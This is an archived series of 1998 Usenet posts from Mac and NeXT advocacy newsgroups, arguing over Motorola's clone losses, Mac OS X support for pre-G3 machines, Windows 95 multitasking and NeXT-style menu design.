If we're talking about which OS is better, should I complain about all of
the flaws in Windows 3.1? No, because many of them were fixed in Windows
95. Similarly, there's not really much point in complaining about UI
features that have since been fixed.
Andy Bates.
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 23 Jul 1998 16:57:47 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2307981657470001@pelli.pathology.pitt.edu>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <6p85g8$g4q$1@news01.deltanet.com>, scott@eviews.com (Scott
Ellsworth) wrote:
> The reason is irrelevant. Moto lost a heap of money in the Mac clone
> market, and that is a fact that will live on in thier corporate
> culture for some time. They know that getting in bed with Apple is a
> dangerous thing, and any top exc who remembers that is going to be a
> bit leery of working with the New Apple.
"a heap of money" is a relative term. As I posted earlier on this thread,
Mot's loss of 100 million is chump change. The corporate culture is gonna
change at Motorola because they forgot what makes them their real
money-CELL PHONES. Motorola lost much more than the 100 million on analog
Cell Phones which are not selling to well these days
>
> Err - Moto wants to move product. Focusing the PPC on the embedded
> systems market, where it does very well indeed, is more likely to make
> them money than trying to build a computer and an OS around it.
> As a result, it buys them little to buy PPC machines.
Motorola would love to move those analog phones but can not....guess
what? REAL BIG MONEY IS LOST. The chip division of Mot is chump change
compared to what they are supposed to make money on.
>
As for Mot using their own chips.... It is their decision to make and
argueing that they should use it because they make it is ridiculous as you
pointed out in the reasons that I sniped.
All in all MOT is fucked because they are bad at predicting products of
the future. They are stuck with MASSIVE stockpiles of Analog cell phones
and it is the Digital cell phones that are selling. Mot did not pay
attention to a changing market in their bread and butter industry. The
chips are just a Hobby that may make them money in 3 years not now
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <see-below-2307982307200001@dynamic18.pm10.mv.best.com>
Message-ID: <35b83a8a.0@news.depaul.edu>
Date: 24 Jul 98 07:40:58 GMT
In comp.sys.next.advocacy Matthew Vaughan <see-below@not-my-address.com> wrote:
> > I'm tired of all the idle threats by supposed Mac loyalists on this group.
> Hmm. I think it should tell you something. If this is how Mac loyalists
> talk, what do you think that means? The non-loyalists are all gone,
> they're already using Windows. The "supposed" Mac loyalists are all you
> have left.
I think it just means that Usenet denizens tend to have more drastic
reactions. Most Mac users (like most computer users in general)
aren't active on Usenet. The Mac 'loyalists' I know (graphic
designers) are barely aware of OS/X or Rhapsody because they're
busily living in the present, not worrying about events a year
hence.
<snip>
> > Hardware motherboard compatibility is only a small part of the issue. What
> > about device drivers? Dozens of third-party hard drives,
> Oh, so you won't be able to plug in a third-party hard drive into a G3
> PowerMac running OS X? That's not good news.
> > CD-ROM drives,
> Ditto.
Drives should be fine.
> > video cards,
> Ditto.
> > etc. Hundreds of possible hardware upgrades, from
> > daughtercards to PDS slot cards to clock-chipping.
> Nobody's suggesting supporting NuBus, PDS etc. Those are not issues for
> models such as the 8500/8600/9500/9600. Clock-chipping is always an iffy
> proposition (though it most often works well), big deal, they'll have to
> go back to a slower setting to run stably.
NuBus and PDS aren't the only issues. There have to be drivers
for the hardware *on* the motherboard. Serial ports, PCI, etc. If
I recall correctly, there were significant bugs with the G3
serial ports that had to be patched in software. (I think it
was a timing issue.) This doesn't involve third party
devices, though those devices *can* be effected. It's not
the third party's bug if the OS can't run the serial port
correctly.
The more things that are different on the motherboard the more
testing is required. There may be more differences than people
think, because there may be changes that are not readily apparent,
which only Apple's engineers would know about.
> > Third-party cache cards
> > (don't forget the 7500 cache card problem!). And on top of all this
> > testing software, software, software to make it all work. Did you think
> > all those software enablers that shipped with systems were just thrown in
> > for chuckles?
> So basically, existing Apple customers have to keep paying for Apple's
> past mistakes.
Exactly. That's the exact problem. Supporting those machines takes
resources away from more useful endeavors. Like advancing the OS,
the UI, etc.
That's why Apple wants to stop supporting the older, inconsistently
designed machines in favor of a consistent, easily supported design.
<snip>
> Sure they do. What are they spending that time on anyway? Features
> possibly of less potential benefit than simply running the system on
> existing computers. Let's be honest here and try to find out what it is
> they're including in MacOS X development that's so important they have to
> bump support for existing machines.
You *cannot* just count OS/X development. They've got a lot on their
plate:
A) Enhancing MacOS/X
B) Making MacOS/X run *optimally* on the G3's
C) Enhancing MacOS
D) Testing MacOS on the G3 and pre-G3 Macs
E) Fixing bugs that pop up in MacOS
F) Making MacOS run the best it can
G) Enhancing and optimizing Carbon
H) Improving WebObjects on Mach, Windows, Solaris, Etc.
I) Improving YellowBox/Windows
J) Improving Quicktime/MacOS, Quicktime/OSX, Quicktime/Windows
K) Improving development tools and Java support
L) Improving AppleWorks
M) Improving everything else (admin, networking, AIAT, QD3D, etc)
N) Working on the 'eMac' thingy, and whatever software that uses
O) Research & Development so they can get ahead of Windows again.
That's a *ton* of work, and Apple's got a lot of people still
working on OS 8.x. Apple doesn't have infinite resources, so they
can't just assign people at a whim.
My guess is that the lion's share of the resources will be dedicated
to the coming 8.x upgrades, simply because of the inherent hassles
of the OS and the varied hardware designs. The second largest would
probably be Carbon. The 8.x upgrades can't be shorted. Neither can
Carbon, since that's critical to OS/X. The best people to
implement consumer-level pre-G3 support would be in the 8.x group,
but they'll be busy. I dunno - where are they going to get people?
The company has been in a standstill for a LONG time. They *badly*
need to start showing lots of forward progress. I think that
would be a *far* better use of manpower than supporting machines
that are still supported by 8.x.
Given the choice between Apple working on the past, and Apple
working on the future, I'd rather have them work on the future.
They've spent way too much time in the past, and are now just
barely getting into the present.
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <mcox-ya02408000R2407981827020001@newsource.ihug.co.nz>
Message-ID: <35b83d99.0@news.depaul.edu>
Date: 24 Jul 98 07:54:01 GMT
In comp.sys.next.advocacy Martin Cox <mcox@ihug.co.nz> wrote:
> Any serious Mac owner in a professional environment who perceives the OS X
> release as significantly dubious _will_ consider the cost of changing
> software likely worth it. If you have a perceived choice of (a) buy new
> hardware for a platform whose user base has been sliced overnight,
What *are* you talking about? The user base will be exactly the same,
and include both G3 and non-G3 Macs.
Virtually *all* software running on MacOS/X at laumch will be Carbon
software. Thus, the 'market' is all machines that run Carbon, not
all machines running OS/X. The market that runs Carbon will include
OS 8.x machines, and thus include pre-G3 Macs. And it'll include
G3 Macs running 8.x.
Thus, the market does not *shrink*, since the software will still
run on 8.x. Thus, no support is lost. In fact, if Apple hits
their goals, support should increase. The ability for developers
to write their Carbon apps for 8.x on OS/X will probably do
wonders for 8.x users.
Even YellowBox apps will have a market larger than just the
OS/X installed base, due to the Windows version. Granted,
YellowBox apps won't run on 8.x, but it'll be a while before
there are enough YB apps for that to matter.
What *are* you thinking?
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 23 Jul 1998 18:10:17 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2307981810170001@pm3a8.rmac.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 24 Jul 1998 00:08:10 GMT
In article <6p5mqd$nsu$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Imagine putting up with Windows'
> > lousy design, horrible user interface, half-ass implementation of most
> > features that Mac users have been taking for granted for years, just to get
> > the dubious advantages of Windows '95/98 style multitasking.
>
> Define lousy design. From an OS foundation point of view, the MacOS is
> inferior. I rate the Windows user interface as crap and the MacOS user
> interface as poor (1). And why is the advantage of Windows 95 (not to mention
> NT) multitasking dubious?
You may be quite right about Windows 95 being better from an OS foundation
standpoint. But what does it matter if something that is "inferior"
competes with it quite well.
You see, Windows 95 has all the buzzwords, but the implementation of them
nullifies the results. Take protected memory...the Windows 95 systems
that I've used crash more frequently than the unprotected Mac OS.
Likewise, Windows 95's "pre-emptive" multitasking still can be blocked
with the use of 16-bit applications. In a real PM and PMT environment,
such as that in Windows NT, these things shouldn't be a problem.
> 1) I only have one 16-bit application on my entire system and that's a legacy
> system that the company I work for still develops for Windows 3.1 users. 2)
> Preemptive multi-tasking between 32-bit applications still works fine if you
> are running 16-bit apps. It is just that between 16-bit apps there is no
> preemption (it's cooperative, just like the MacOS always is). Just like the
> blue box in MacOS X will be preemptively scheduled but within the blue box,
> the scheduling will be cooperative.
Should PMT be blocked by any program? You see, under Windows 95, you
still have to be careful about the programs you run because they could
block Windows 95's PMT. As for the multitasking between 32 bit apps, I've
had problems with Windows 95's 32 bit programs being blocked as I wait for
a 16 bit program to timeout (MS-Mail).
> BTW, I like and use the MacOS. I am merely disappointed that Apple can't seem
> to advance the MacOS as quickly as Microsoft can advance windows. Overall, I
> think that Windows NT is better than the MacOS and Windows 95 is as good. But
> MacOS X should be better than both. Still, I distresses me that Apple is
> removing some excellent features from Rhapsody to make Mac OS X.
And we're not saying that the Mac OS is perfect. But when compared to the
alternatives, the Mac OS does quite well. I'm sorry, but the
implementation of Windows 95's PM and PMT offers real no benefit over the
Mac OS, IMO. As such, I'm not willing to switch to Windows 95 to gain
little in these area's, but have to deal with more problems in different
areas.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 23 Jul 1998 18:16:16 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2307981816160001@pm3a8.rmac.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <6p453v$l00$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 24 Jul 1998 00:14:08 GMT
In article <6p453v$l00$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <Josh.McKee-2107981925440001@pm3a2.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > We've already gone over this. It's not the Mac, it's the programs. I
> > demonstrated that the Mac is perfectly able to do various things at the
> > same time, provided that the software co-operates.
>
> But it's not really the programs fault. Say that you want to write a game
> that relinquishes the processor to other applications periodically. How often
> do you do it? Even second, every time through your rendering loop, something
> else? The problem is that your program doesn't know what the processor
> requirements for the other applications are so you may starve them or degrade
> your own performance. And then there is the problem of where, in your
> program, to call WaitNextEvent( ).
Like I said, the Mac's multitasking isn't perfect. Likewise, I'm not
trying to prove PMT inferior. All I'm saying is that the Mac's
implementation of CMT is much better than most PC advocates give it credit
for. And in my experience, is about on par with Windows 95 for most
tasks.
> > Here's theory again...have you tried this? Not saying you're wrong, but
> > someone else made a claim that turned out to be 100% wrong. Since you say
> > "I bet", it sounds as if you've never tried it.
>
> I've run StuffIt expander under Windows NT and the MacOS. Under Windows, you
> can do other things during the decompress without any perceptable slow down of
> either the other task or the decompress. The same isn't true of the MacOS
> version.
I see we're now talking about Windows NT. Windows NT is not Windows 95.
Most people are running Windows 95...which in my experience offers very
questionable PMT. If Windows 95 did PMT right, then we wouldn't be having
this discussion. However, Microsoft made a "partial PMT" system with
Windows 95.
Josh
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 24 Jul 1998 10:58:09 +0200
Organization: The Computer Society at Lund
Message-ID: <6p9ib1$64r$1@bartlet.df.lth.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net> <andyba-ya02408000R2307981327300001@news>
NNTP-Posting-User: cb
In article <andyba-ya02408000R2307981327300001@news>,
Andy Bates <andyba@corp.webtv.net> wrote:
>In article <6p6qnj$fs21@Talisker.taide.net>, malte@oops.se (Malte Tancred)
>wrote:
>
>> In article <andyba-ya02408000R2207981149400001@news>,
>> Andy Bates <andyba@corp.webtv.net> wrote:
>> >
>> >Sure it is! I open the file, edit it, save it, and print it. It
>> >specifically DOES belong under File.
>>
>> If the purpose of the "Print" is to print a file that is.
>> Putting "Print" in the root menu implies that priting operations
>> might be applied elsewhere in the application, not only to
>> the opened "File".
>>
>> Your argument is in most cases good for a file based application,
>> but take a database application for example. It might not have the
>> concept of a file.
>
>Why not? Databases are files! They may be dynamically-linked relational
>databases, but they are still files!
Umm, you might have a view of a database, which is in fact the result of a
search through several other databases; also, one database often consists
of several files; there is no one-to-one mapping between 'database' and
'file'. So, saying 'Databases are still files' is in fact something which
I find not very well supported in fact. More to the point, an Oracle
database can run without any files at all, using a raw disk partition
instead - no files in sight.
>
>> I believe most people in the NeXT community have a few of these
>> complaints on other OSes. Once you become familiar with the concepts
>> of the NeXT UI you easily get caught. Why? Because it is a very
>> well designed and well thought-out UI. I don't say it is perfect,
>> I just say it is good.
>
>I agree that it is good. However, I do not agree that every element of the
>NeXT UI is necessarily better than every element of every other UI.
This is, of course, true. However, The direction that the MacOS X Server
GUI is taking is in a more-or-less thorough removal of almost all
NeXTisms, replacing them with MacOS GUI elements. The most striking
example of this is obviously the menu bar; There are people who prefer the
movable Vertical-menu-as-a-window a la NeXT, and who can even offer valid
reasons for this (ie, reasons why _for them_, a NeXT-style menu is
superior to a MacOS-style menu bar), yet their concerns seem to be largely
ignored. Even in those instances where it would be possible to offer a
selection between the two UI styles, this is not done, to the detriment of
many who prefer (some of) the NeXTisms to MacOSisms.
>
>> >> If you're going to have heirarchical menus, then you need to recognize
>that
>> >> some operations aren't going to fit into your hierarchies/catagories,
>> >
>> >Why? If you have an operation that doesn't fit into your categories, than
>> >you need new categories.
>>
>> The root menu is in fact the "application category".
>> You "Quit" and "Hide" the application, not a document or a window.
>
>"Quit" is the only one currently under the File menu, and as I said before,
>it's not really a problem there. Since it would logically be the ONLY entry
>under a proposed "Application" submenu, it's easier to put it under File.
No, 'Hide' would also be under the Application category; likewise, some of
the things that are under 'Info' could perhaps be under 'Application'
instead, or there could be an 'Info' category under 'Application'.
Also, I never 'Quit' a File, so placing 'Quit' under 'File' is
semantically _wrong_. I may Open or Close a File, I may Open or Close a
Window ... but I don't Quit a File.
>
>> Regarding the "Print" operation, I'll refer to my comment above.
>> Printing doesn't neccessary have to do with a document or a file,
>> which makes it fit nice at the root level.
>
>Again, could you give me an example of something that you would print that
>is NOT file-related?
Printing the contents of the Application's About... Panel, for instance?
Or, for that matter, printing any information resulting from a
calculation? Say you have an application that lets you type an equation,
and draws the corresponding graph. It also lets you print the graph. No
Files in sight.
>
>Andy Bates.
// Christian Brunschen
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 23:07:20 -0700
Message-ID: <see-below-2307982307200001@dynamic18.pm10.mv.best.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com>
In article <not-2307981301280001@ip-167-019.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz>,
> mcox@ihug.co.nz (Martin Cox) wrote:
>
> > >But you can't make such an extimation--no one can. Not even Apple really
> > >knows how long it would take them to troubleshoot and debug even a small
> > >set of the existing PCI Mac hardware.
>
> > It wasn't an estimation - it was a statement of how long I personally would
> > be willing to wait. If it takes a year, then I personally wouldn't wait
> > that long.
>
> I'm sorry, but that is amazing irrelevant. How long you would be willing
> to wait has nothing to do without how long it would actually take to do
> what you are describing. And what would you do if they took "too long" to
> do it? Switch to NT?
Possibly. Lots and lots of other people have already done so. It's
something I'll definitely look at--at that point it will be NT 5.0 against
OS X. Since both will require me to buy a new computer, the only
differences would be software, and that might not actually be a big
difference (many programs have liberal policies about cross-platform
upgrades).
> Pirate a copy when OS X came out, instead of pay for
> it?
Heh. Who knows, but isn't it scary that people might start seriously
contemplating it?
> I'm tired of all the idle threats by supposed Mac loyalists on this group.
Hmm. I think it should tell you something. If this is how Mac loyalists
talk, what do you think that means? The non-loyalists are all gone,
they're already using Windows. The "supposed" Mac loyalists are all you
have left.
> None of you are going to go Windows just because Apple didn't follow the
> plans you would dictate to them. When you sit down and look at the costs
> (new hardware, new software, learning curve, downtime) it would make no
> sense at all. I've probably got $7,000 minimum invested in my 2 macs w/
> software, and it would cost me twice that to move it all to Windows.
Again, forget about the hardware costs, the whole point is we'd need to
buy a new computer unnecessarily anyway, and again, cross-platform
upgrades may not actually be terribly expensive.
> Hardware motherboard compatibility is only a small part of the issue. What
> about device drivers? Dozens of third-party hard drives,
Oh, so you won't be able to plug in a third-party hard drive into a G3
PowerMac running OS X? That's not good news.
> CD-ROM drives,
Ditto.
> video cards,
Ditto.
> etc. Hundreds of possible hardware upgrades, from
> daughtercards to PDS slot cards to clock-chipping.
Nobody's suggesting supporting NuBus, PDS etc. Those are not issues for
models such as the 8500/8600/9500/9600. Clock-chipping is always an iffy
proposition (though it most often works well), big deal, they'll have to
go back to a slower setting to run stably.
> Third-party cache cards
> (don't forget the 7500 cache card problem!). And on top of all this
> testing software, software, software to make it all work. Did you think
> all those software enablers that shipped with systems were just thrown in
> for chuckles?
So basically, existing Apple customers have to keep paying for Apple's
past mistakes.
> > >That was an unrealistic expectaion on your part, and I can't see how Apple
> > >is to blame for that. At the time you bought the machine Apple's situation
> > >as a company, CEO and future OS path were totally different.
> >
> > (1) It _wasn't_ unrealisitic. It was how the machine was marketed, and how
> > it _does_ work (if you forget OS X for a moment). There's nothing a G3
> > PowerMac can do that my (aging?) 7500 can't do.
>
> Who cares? You have said yourself that hardware is not the issue here. It
> is TIME, TIME, TIME DAMMIT! Apple does NOT HAVE THE TIME to troubleshoot
> and make OS X backwards-compatible for all PCI macs.
Sure they do. What are they spending that time on anyway? Features
possibly of less potential benefit than simply running the system on
existing computers. Let's be honest here and try to find out what it is
they're including in MacOS X development that's so important they have to
bump support for existing machines.
> And if they chose to
> do this *after* the initial OS X release, they would be working to support
> machines that are *four years old* or older, up to *eight*. Unrealistic at
> best, laughable at worst.
Huh? Many 9600s bought directly from Apple will be no more than 1-1/2
years old when OS X is released. That would be like saying OS 8.1 wouldn't
run on a 8500 or 9500 (even the later 200MHz models), because they're "too
old."
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 24 Jul 1998 00:17:58 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2407980018030001@sdn-ar-001casbarp100.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net>
In article <joe.ragosta-2107981135290001@wil93.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Which do you think is more likely--for an end-user to do something
> incredibly stupid or for a programmer to use the code snippet you posted
> above and not catch it?
Well, lets see, I am not a expert programmer like you, Mr Ragosta, but I
believe the code was basically just writting to address zero. And I also
believe that a null pointer has the value zero, and thus trying to write
to a null pointer is basically what the snipped code does, and is VERY
common. But you already knew this....
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
From: jbg@sdc.cs.boeing.com (Jim Glidewell)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <jbg-2307981327420001@green.sdc.cs.boeing.com>
Sender: nntp@news.boeing.com (Boeing NNTP News Access)
Organization: The Boeing Company
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com>
Date: Thu, 23 Jul 1998 20:27:42 GMT
In article <not-2207981037460001@ip-26-093.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz>,
> mcox@ihug.co.nz (Martin Cox) wrote:
>
> > I bought this 7500 on the basis that it was the most expandable machine
> > that was within my price range. I could, remarkably given the hardware I'd
> > transferred from, keep the thing for _ages_ and simply plug in a few bits
> > here and there to keep it more or less up to date.
>
> That was an unrealistic expectaion on your part, and I can't see how Apple
> is to blame for that. At the time you bought the machine Apple's situation
> as a company, CEO and future OS path were totally different.
If I want a mac that will _someday_ support an OS which provides true
memory protection and full preemptive scheduling, is it "realistic"
for me to buy *any* Apple computer _today_?
Should we encourage all potential Mac customers who plan to keep their
mac's for more than a year and who want such features to defer their
purchases until OS X is actually released?
If Apple decides next year to cancel OS X and replace it with "Rhapsody
Plus", which only runs on G4 Macs, will you refer to people who bought
G3's with the expectation of running OS X on them as "unrealistic"?
If Rhapsody 1.0 ships at a price of $1000 (a "reasonable" price for a
"server" OS), will you consider Apple's stated commitment to support
Rhapsody on all Mac's shipping in 1/97 as honorably met?
--
Jim Glidewell
My opinions only
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 23 Jul 1998 16:32:29 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B7ABED.1AFBFB66@ericsson.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net>
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Joe Ragosta wrote:
> Motorola is doing something incredibly stupid from a business standpoint.
> Not only are they refusing to buy computers based on their own product,
> but they're telling the world about it.
This is what doesn't matter. You yourself have been on a bender about
how short PPC supply has always been, yet you turn around and suggest
that Motorola should have been restricting supply even further by moving
product into itself rather than out to the public. Hmmmm.
PowerPC has always been a great embedded product for Motorola. Apple was
the partner who profited from desktop sales and Motorola took Apple's
word that it would be a good business move. We both know the rest; spin
won't do you any good, sorry.
MJP
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 24 Jul 1998 05:23:26 GMT
Message-ID: <6p95oe$6ql$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <1dchrj7.1pmajnlrqkgqjN@quern.demon.co.uk> <6p6s8o$qk5$1@news2.ispnews.com> <6p7n78$f0l$1@nntp2.ba.best.com> <6p8ui5$g9n$1@news2.ispnews.com>
In-Reply-To: <6p8ui5$g9n$1@news2.ispnews.com>
On 07/23/98, Earl Malmrose wrote:
>kcd@babylon5.jumpgate.com (Kenneth C. Dyke) :
>> On 07/22/98, Earl Malmrose wrote:
>> >See how long NS can generate threads.
>>
>> I got up to 3301 threads (inside one task) on my 128MB PowerPC box,
>> then things started to act funny. The limit could be something
else,
>> such as the maximum number of ports allowed by the kernel. In any
>> case, it should fail a bit more gracefully.
>
>3000 is pretty good. So I'm guessing the thread's stack size is about
1/10th
>what BeOS's thread stack size is. Are you saying that NS didn't fail
>gracefully either when overwhelmed with too many threads?
Actually, to be honest, that was with no stack space allocated at all.
If you actually use the mach threads interface (as opposed to cthreads,
which are also standard on NS/OS/Rhapsody) then you have to allocate
your stack space and set up the CPU registers yourself, so it's not
very portable. I have no idea what the default stack size is with the
cthreads package, although even if it's up near the size of the BeOS
stack size it shouldn't be a big problem since Mach doesn't restrict
stacks to any particular place in the virtual memory space of a
process.
And no, it didn't fail very gracefully, which is something I intend to
yell at Apple about tonight. On the upside, Rhapsody doesn't seem
create another thread every time you sneeze. ;)
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 23 Jul 1998 16:40:33 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B7ADD1.FC1F27C6@ericsson.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu> <joe.ragosta-2307981433040001@wil48.dol.net> <6p85jh$g4q$2@news01.deltanet.com>
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Scott Ellsworth wrote:
> Well put. It would help matters a great deal if Apple did not have to
> evangalize the CPU, the OS, and the style of work.
